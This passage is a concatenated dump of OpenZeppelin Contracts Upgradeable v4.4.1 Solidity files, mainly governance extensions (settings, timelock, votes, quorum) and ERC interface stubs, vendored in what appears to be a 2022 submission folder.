// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorProposalThreshold.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance.
*
* _Available since v4.3._
* _Deprecated since v4.4._
*/
abstract contract GovernorProposalThresholdUpgradeable is Initializable, GovernorUpgradeable {
function __GovernorProposalThreshold_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorProposalThreshold_init_unchained();
}
function __GovernorProposalThreshold_init_unchained() internal onlyInitializing {
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorSettingsUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorSettings.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for settings updatable through governance.
*
* _Available since v4.4._
*/
abstract contract GovernorSettingsUpgradeable is Initializable, GovernorUpgradeable {
uint256 private _votingDelay;
uint256 private _votingPeriod;
uint256 private _proposalThreshold;
event VotingDelaySet(uint256 oldVotingDelay, uint256 newVotingDelay);
event VotingPeriodSet(uint256 oldVotingPeriod, uint256 newVotingPeriod);
event ProposalThresholdSet(uint256 oldProposalThreshold, uint256 newProposalThreshold);
/**
* @dev Initialize the governance parameters.
*/
function __GovernorSettings_init(
uint256 initialVotingDelay,
uint256 initialVotingPeriod,
uint256 initialProposalThreshold
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorSettings_init_unchained(initialVotingDelay, initialVotingPeriod, initialProposalThreshold);
}
function __GovernorSettings_init_unchained(
uint256 initialVotingDelay,
uint256 initialVotingPeriod,
uint256 initialProposalThreshold
) internal onlyInitializing {
_setVotingDelay(initialVotingDelay);
_setVotingPeriod(initialVotingPeriod);
_setProposalThreshold(initialProposalThreshold);
}
/**
* @dev See {IGovernor-votingDelay}.
*/
function votingDelay() public view virtual override returns (uint256) {
return _votingDelay;
}
/**
* @dev See {IGovernor-votingPeriod}.
*/
function votingPeriod() public view virtual override returns (uint256) {
return _votingPeriod;
}
/**
* @dev See {Governor-proposalThreshold}.
*/
function proposalThreshold() public view virtual override returns (uint256) {
return _proposalThreshold;
}
/**
* @dev Update the voting delay. This operation can only be performed through a governance proposal.
*
* Emits a {VotingDelaySet} event.
*/
function setVotingDelay(uint256 newVotingDelay) public virtual onlyGovernance {
_setVotingDelay(newVotingDelay);
}
/**
* @dev Update the voting period. This operation can only be performed through a governance proposal.
*
* Emits a {VotingPeriodSet} event.
*/
function setVotingPeriod(uint256 newVotingPeriod) public virtual onlyGovernance {
_setVotingPeriod(newVotingPeriod);
}
/**
* @dev Update the proposal threshold. This operation can only be performed through a governance proposal.
*
* Emits a {ProposalThresholdSet} event.
*/
function setProposalThreshold(uint256 newProposalThreshold) public virtual onlyGovernance {
_setProposalThreshold(newProposalThreshold);
}
/**
* @dev Internal setter for the voting delay.
*
* Emits a {VotingDelaySet} event.
*/
function _setVotingDelay(uint256 newVotingDelay) internal virtual {
emit VotingDelaySet(_votingDelay, newVotingDelay);
_votingDelay = newVotingDelay;
}
/**
* @dev Internal setter for the voting period.
*
* Emits a {VotingPeriodSet} event.
*/
function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {
// voting period must be at least one block long
require(newVotingPeriod > 0, "GovernorSettings: voting period too low");
emit VotingPeriodSet(_votingPeriod, newVotingPeriod);
_votingPeriod = newVotingPeriod;
}
/**
* @dev Internal setter for the proposal threshold.
*
* Emits a {ProposalThresholdSet} event.
*/
function _setProposalThreshold(uint256 newProposalThreshold) internal virtual {
emit ProposalThresholdSet(_proposalThreshold, newProposalThreshold);
_proposalThreshold = newProposalThreshold;
}
uint256[47] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorTimelockCompoundUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockCompound.sol)
pragma solidity ^0.8.0;
import "./IGovernorTimelockUpgradeable.sol";
import "../GovernorUpgradeable.sol";
import "../../utils/math/SafeCastUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[Compound's timelock] interface
*/
interface ICompoundTimelockUpgradeable {
receive() external payable;
// solhint-disable-next-line func-name-mixedcase
function GRACE_PERIOD() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function MINIMUM_DELAY() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function MAXIMUM_DELAY() external view returns (uint256);
function admin() external view returns (address);
function pendingAdmin() external view returns (address);
function delay() external view returns (uint256);
function queuedTransactions(bytes32) external view returns (bool);
function setDelay(uint256) external;
function acceptAdmin() external;
function setPendingAdmin(address) external;
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external returns (bytes32);
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external;
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external payable returns (bytes memory);
}
/**
* @dev Extension of {Governor} that binds the execution process to a Compound Timelock. This adds a delay, enforced by
* the external timelock to all successful proposal (in addition to the voting duration). The {Governor} needs to be
* the admin of the timelock for any operation to be performed. A public, unrestricted,
* {GovernorTimelockCompound-__acceptAdmin} is available to accept ownership of the timelock.
*
* Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,
* the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be
* inaccessible.
*
* _Available since v4.3._
*/
abstract contract GovernorTimelockCompoundUpgradeable is Initializable, IGovernorTimelockUpgradeable, GovernorUpgradeable {
using SafeCastUpgradeable for uint256;
using TimersUpgradeable for TimersUpgradeable.Timestamp;
struct ProposalTimelock {
TimersUpgradeable.Timestamp timer;
}
ICompoundTimelockUpgradeable private _timelock;
mapping(uint256 => ProposalTimelock) private _proposalTimelocks;
/**
* @dev Emitted when the timelock controller used for proposal execution is modified.
*/
event TimelockChange(address oldTimelock, address newTimelock);
/**
* @dev Set the timelock.
*/
function __GovernorTimelockCompound_init(ICompoundTimelockUpgradeable timelockAddress) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__GovernorTimelockCompound_init_unchained(timelockAddress);
}
function __GovernorTimelockCompound_init_unchained(ICompoundTimelockUpgradeable timelockAddress) internal onlyInitializing {
_updateTimelock(timelockAddress);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, GovernorUpgradeable) returns (bool) {
return interfaceId == type(IGovernorTimelockUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` and `Expired` status.
*/
function state(uint256 proposalId) public view virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (ProposalState) {
ProposalState status = super.state(proposalId);
if (status != ProposalState.Succeeded) {
return status;
}
uint256 eta = proposalEta(proposalId);
if (eta == 0) {
return status;
} else if (block.timestamp >= eta + _timelock.GRACE_PERIOD()) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
/**
* @dev Public accessor to check the address of the timelock
*/
function timelock() public view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public accessor to check the eta of a queued proposal
*/
function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {
return _proposalTimelocks[proposalId].timer.getDeadline();
}
/**
* @dev Function to queue a proposal to the timelock.
*/
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful");
uint256 eta = block.timestamp + _timelock.delay();
_proposalTimelocks[proposalId].timer.setDeadline(eta.toUint64());
for (uint256 i = 0; i < targets.length; ++i) {
require(
!_timelock.queuedTransactions(keccak256(abi.encode(targets[i], values[i], "", calldatas[i], eta))),
"GovernorTimelockCompound: identical proposal action already queued"
);
_timelock.queueTransaction(targets[i], values[i], "", calldatas[i], eta);
}
emit ProposalQueued(proposalId, eta);
return proposalId;
}
/**
* @dev Overriden execute function that run the already queued proposal through the timelock.
*/
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual override {
uint256 eta = proposalEta(proposalId);
require(eta > 0, "GovernorTimelockCompound: proposal not yet queued");
AddressUpgradeable.sendValue(payable(_timelock), msg.value);
for (uint256 i = 0; i < targets.length; ++i) {
_timelock.executeTransaction(targets[i], values[i], "", calldatas[i], eta);
}
}
/**
* @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already
* been queued.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override returns (uint256) {
uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);
uint256 eta = proposalEta(proposalId);
if (eta > 0) {
for (uint256 i = 0; i < targets.length; ++i) {
_timelock.cancelTransaction(targets[i], values[i], "", calldatas[i], eta);
}
_proposalTimelocks[proposalId].timer.reset();
}
return proposalId;
}
/**
* @dev Address through which the governor executes action. In this case, the timelock.
*/
function _executor() internal view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Accept admin right over the timelock.
*/
// solhint-disable-next-line private-vars-leading-underscore
function __acceptAdmin() public {
_timelock.acceptAdmin();
}
/**
* @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates
* must be proposed, scheduled and executed using the {Governor} workflow.
*
* For security reason, the timelock must be handed over to another admin before setting up a new one. The two
* operations (hand over the timelock) and do the update can be batched in a single proposal.
*
* Note that if the timelock admin has been handed over in a previous operation, we refuse updates made through the
* timelock if admin of the timelock has already been accepted and the operation is executed outside the scope of
* governance.
*/
function updateTimelock(ICompoundTimelockUpgradeable newTimelock) external virtual onlyGovernance {
_updateTimelock(newTimelock);
}
function _updateTimelock(ICompoundTimelockUpgradeable newTimelock) private {
emit TimelockChange(address(_timelock), address(newTimelock));
_timelock = newTimelock;
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorTimelockControlUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockControl.sol)
pragma solidity ^0.8.0;
import "./IGovernorTimelockUpgradeable.sol";
import "../GovernorUpgradeable.sol";
import "../TimelockControllerUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} that binds the execution process to an instance of {TimelockController}. This adds a
* delay, enforced by the {TimelockController} to all successful proposal (in addition to the voting duration). The
* {Governor} needs the proposer (an ideally the executor) roles for the {Governor} to work properly.
*
* Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,
* the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be
* inaccessible.
*
* _Available since v4.3._
*/
abstract contract GovernorTimelockControlUpgradeable is Initializable, IGovernorTimelockUpgradeable, GovernorUpgradeable {
TimelockControllerUpgradeable private _timelock;
mapping(uint256 => bytes32) private _timelockIds;
/**
* @dev Emitted when the timelock controller used for proposal execution is modified.
*/
event TimelockChange(address oldTimelock, address newTimelock);
/**
* @dev Set the timelock.
*/
function __GovernorTimelockControl_init(TimelockControllerUpgradeable timelockAddress) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__GovernorTimelockControl_init_unchained(timelockAddress);
}
function __GovernorTimelockControl_init_unchained(TimelockControllerUpgradeable timelockAddress) internal onlyInitializing {
_updateTimelock(timelockAddress);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, GovernorUpgradeable) returns (bool) {
return interfaceId == type(IGovernorTimelockUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` status.
*/
function state(uint256 proposalId) public view virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (ProposalState) {
ProposalState status = super.state(proposalId);
if (status != ProposalState.Succeeded) {
return status;
}
// core tracks execution, so we just have to check if successful proposal have been queued.
bytes32 queueid = _timelockIds[proposalId];
if (queueid == bytes32(0)) {
return status;
} else if (_timelock.isOperationDone(queueid)) {
return ProposalState.Executed;
} else {
return ProposalState.Queued;
}
}
/**
* @dev Public accessor to check the address of the timelock
*/
function timelock() public view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public accessor to check the eta of a queued proposal
*/
function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {
uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]);
return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value
}
/**
* @dev Function to queue a proposal to the timelock.
*/
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful");
uint256 delay = _timelock.getMinDelay();
_timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash);
_timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay);
emit ProposalQueued(proposalId, block.timestamp + delay);
return proposalId;
}
/**
* @dev Overriden execute function that run the already queued proposal through the timelock.
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override {
_timelock.executeBatch{value: msg.value}(targets, values, calldatas, 0, descriptionHash);
}
/**
* @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already
* been queued.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override returns (uint256) {
uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);
if (_timelockIds[proposalId] != 0) {
_timelock.cancel(_timelockIds[proposalId]);
delete _timelockIds[proposalId];
}
return proposalId;
}
/**
* @dev Address through which the governor executes action. In this case, the timelock.
*/
function _executor() internal view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates
* must be proposed, scheduled and executed using the {Governor} workflow.
*/
function updateTimelock(TimelockControllerUpgradeable newTimelock) external virtual onlyGovernance {
_updateTimelock(newTimelock);
}
function _updateTimelock(TimelockControllerUpgradeable newTimelock) private {
emit TimelockChange(address(_timelock), address(newTimelock));
_timelock = newTimelock;
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorVotesCompUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesComp.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../token/ERC20/extensions/ERC20VotesCompUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from a Comp token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesCompUpgradeable is Initializable, GovernorUpgradeable {
ERC20VotesCompUpgradeable public token;
function __GovernorVotesComp_init(ERC20VotesCompUpgradeable token_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorVotesComp_init_unchained(token_);
}
function __GovernorVotesComp_init_unchained(ERC20VotesCompUpgradeable token_) internal onlyInitializing {
token = token_;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPriorVotes(account, blockNumber);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesQuorumFraction.sol)
pragma solidity ^0.8.0;
import "./GovernorVotesUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token and a quorum expressed as a
* fraction of the total supply.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesQuorumFractionUpgradeable is Initializable, GovernorVotesUpgradeable {
uint256 private _quorumNumerator;
event QuorumNumeratorUpdated(uint256 oldQuorumNumerator, uint256 newQuorumNumerator);
function __GovernorVotesQuorumFraction_init(uint256 quorumNumeratorValue) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorVotesQuorumFraction_init_unchained(quorumNumeratorValue);
}
function __GovernorVotesQuorumFraction_init_unchained(uint256 quorumNumeratorValue) internal onlyInitializing {
_updateQuorumNumerator(quorumNumeratorValue);
}
function quorumNumerator() public view virtual returns (uint256) {
return _quorumNumerator;
}
function quorumDenominator() public view virtual returns (uint256) {
return 100;
}
function quorum(uint256 blockNumber) public view virtual override returns (uint256) {
return (token.getPastTotalSupply(blockNumber) * quorumNumerator()) / quorumDenominator();
}
function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance {
_updateQuorumNumerator(newQuorumNumerator);
}
function _updateQuorumNumerator(uint256 newQuorumNumerator) internal virtual {
require(
newQuorumNumerator <= quorumDenominator(),
"GovernorVotesQuorumFraction: quorumNumerator over quorumDenominator"
);
uint256 oldQuorumNumerator = _quorumNumerator;
_quorumNumerator = newQuorumNumerator;
emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorVotesUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotes.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../token/ERC20/extensions/ERC20VotesUpgradeable.sol";
import "../../utils/math/MathUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesUpgradeable is Initializable, GovernorUpgradeable {
ERC20VotesUpgradeable public token;
function __GovernorVotes_init(ERC20VotesUpgradeable tokenAddress) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorVotes_init_unchained(tokenAddress);
}
function __GovernorVotes_init_unchained(ERC20VotesUpgradeable tokenAddress) internal onlyInitializing {
token = tokenAddress;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPastVotes(account, blockNumber);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/IGovernorTimelockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol)
pragma solidity ^0.8.0;
import "../IGovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of the {IGovernor} for timelock supporting modules.
*
* _Available since v4.3._
*/
abstract contract IGovernorTimelockUpgradeable is Initializable, IGovernorUpgradeable {
function __IGovernorTimelock_init() internal onlyInitializing {
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
}
function __IGovernorTimelock_init_unchained() internal onlyInitializing {
}
event ProposalQueued(uint256 proposalId, uint256 eta);
function timelock() public view virtual returns (address);
function proposalEta(uint256 proposalId) public view virtual returns (uint256);
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual returns (uint256 proposalId);
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1155MetadataURIUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../token/ERC1155/extensions/IERC1155MetadataURIUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1155ReceiverUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../token/ERC1155/IERC1155ReceiverUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1155Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155.sol)
pragma solidity ^0.8.0;
import "../token/ERC1155/IERC1155Upgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1271Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC1271 standard signature validation method for
* contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].
*
* _Available since v4.1._
*/
interface IERC1271Upgradeable {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1363ReceiverUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol)
pragma solidity ^0.8.0;
interface IERC1363ReceiverUpgradeable {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param from address The address which are token transferred from
* @param value uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(
address operator,
address from,
uint256 value,
bytes memory data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1363SpenderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol)
pragma solidity ^0.8.0;
interface IERC1363SpenderUpgradeable {
/*
* Note: the ERC-165 identifier for this interface is 0x7b04a2d0.
* 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))
*/
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param owner address The address which called `approveAndCall` function
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
* unless throwing
*/
function onApprovalReceived(
address owner,
uint256 value,
bytes memory data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1363Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./IERC165Upgradeable.sol";
interface IERC1363Upgradeable is IERC165Upgradeable, IERC20Upgradeable {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) external returns (bool);
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 value,
bytes memory data
) external returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC165Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165Upgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1820ImplementerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Implementer.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC1820ImplementerUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1820RegistryUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Registry.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC1820RegistryUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC20MetadataUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/IERC20MetadataUpgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC20Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20Upgradeable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC2981Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
